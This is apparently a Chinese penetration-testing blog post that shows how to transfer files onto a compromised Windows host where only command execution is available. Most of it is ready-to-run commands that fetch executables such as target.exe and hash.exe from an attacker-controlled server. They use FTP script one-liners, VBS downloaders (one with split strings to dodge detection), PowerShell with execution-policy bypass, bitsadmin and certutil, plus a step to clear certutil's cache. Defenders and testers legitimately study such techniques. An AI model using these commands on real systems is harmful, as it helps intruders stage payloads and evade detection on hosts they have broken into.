天天看點

【内網滲透】Windows下的内網傳輸技術

趁着現在不忙(才不是偷懶)趕緊更新一波~

今天給大家分享的内容是Windows内網傳輸技術:

有時候我們拿到一個不能上傳shell,但可以指令執行的windows伺服器時,可以通過多種方法進行檔案上傳和下載下傳。

一起來看看吧!

Part.1

FTP

FTP環境部署

首先,ftp支援ASCII碼傳輸、也支援二進制傳輸,是以完全可以滿足我們的上傳下載下傳需求。

我們可以在本地伺服器先搭建一個ftp伺服器,如3CDaemon:

【内網滲透】Windows下的内網傳輸技術

建立一個使用者monster/a123456:

【内網滲透】Windows下的内網傳輸技術

靶機連接配接上ftp伺服器之後,我們就可以進行上傳、下載下傳操作了。

上傳與下載下傳

ftp可以讀取txt中的指令并執行,是以可以把需要執行的指令寫入到一個txt檔案中。

例如需要下載下傳一個hello.txt到靶機中:

【内網滲透】Windows下的内網傳輸技術

寫入後,靶機中會生成一個ftp.txt檔案:

【内網滲透】Windows下的内網傳輸技術

通過指令行執行該檔案:

【内網滲透】Windows下的内網傳輸技術

可以看到hello.txt檔案被下載下傳到靶機:

【内網滲透】Windows下的内網傳輸技術

以上操作可以簡化為:

Echo open 192.168.3.1 > o&echo user monster a123456 >> o &echo get hello.txt >> o &echo quit >> o &ftp -n -s:o &del /F /Q o           

複制

【内網滲透】Windows下的内網傳輸技術

如果ftp允許匿名賬号登陸,還可簡化為:

Echo open 192.168.3.1 > o &echo get hello.txt >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o           

複制

【内網滲透】Windows下的内網傳輸技術

//-A 匿名通路

如果是上傳檔案到ftp伺服器,則使用put:

【内網滲透】Windows下的内網傳輸技術

可以在ftp伺服器中找到上傳的檔案:

【内網滲透】Windows下的内網傳輸技術

Part.2

VBS

VBS

VBS是windows中基于Visual Basic的腳本語言。

利用VBS上傳,主要使用的是msxm12.xmlhttp和adodb.stream對象。

首先在本地開啟http服務,提供檔案下載下傳:

【内網滲透】Windows下的内網傳輸技術

通過shell向靶機寫入VBS代碼:

【内網滲透】Windows下的内網傳輸技術

詳細代碼如下:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.3.1/target.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile " C:/Users/Monster/Desktop/target.exe",2 >>download.vbs           

複制

此處靶機中會生成download.vbs,執行:

Cscript download.vbs           

複制

【内網滲透】Windows下的内網傳輸技術

//成功“上傳”檔案至靶機。

方法二:VBS一句話下載下傳

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs 
cscript downfile.vbs http://192.168.3.1/target.exe C:/Users/Monster/Desktop/target2.exe           

複制

【内網滲透】Windows下的内網傳輸技術

Part.3

Powershell

Powershell

Powershell在windows server 2003以後版本的作業系統中預設是自帶的,我們也可以用它來進行檔案下載下傳。

powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.3.1/hash.exe','C:/Users/Monster/Desktop/hash.exe');           

複制

【内網滲透】Windows下的内網傳輸技術

//注意區分中逗号等英文字元。

Part.4

bitsadmin

bitsadmin

除了腳本以外,windows還有自帶的兩個工具:bitsadmin和certutil。

Bitsadmin是一個指令行工具,Windows xp以後的版本中自帶該工具,例如Windows Update程式就依靠它來下載下傳檔案,是以我們也可以進行利用。

bitsadmin /transfer 123 http://192.168.3.1/hello.txt C:\Users\Monster\Desktop\hello.txt           

複制

//123為任務号

【内網滲透】Windows下的内網傳輸技術

注:經測試這種方法進行下載下傳比其他方法慢很多。

儲存路徑不能寫成C:/Users/Monster/Desktop/hello.txt,否則會報錯:

【内網滲透】Windows下的内網傳輸技術

Part.5

certutil

certutil

Windows有一個名為CertUtil的内置程式,可用于在Windows中管理證書,CertUtil的一個特性是能夠從遠端URL下載下傳證書或任何其他檔案。

certutil -urlcache -split -f http://192.168.3.1/hash.exe           

複制

【内網滲透】Windows下的内網傳輸技術

但是這種下載下傳方法預設會留下緩存,下載下傳完成後通過delete參數清除緩存:

【内網滲透】Windows下的内網傳輸技術

Part.6

結語

好啦,以上就是今天的全部内容了~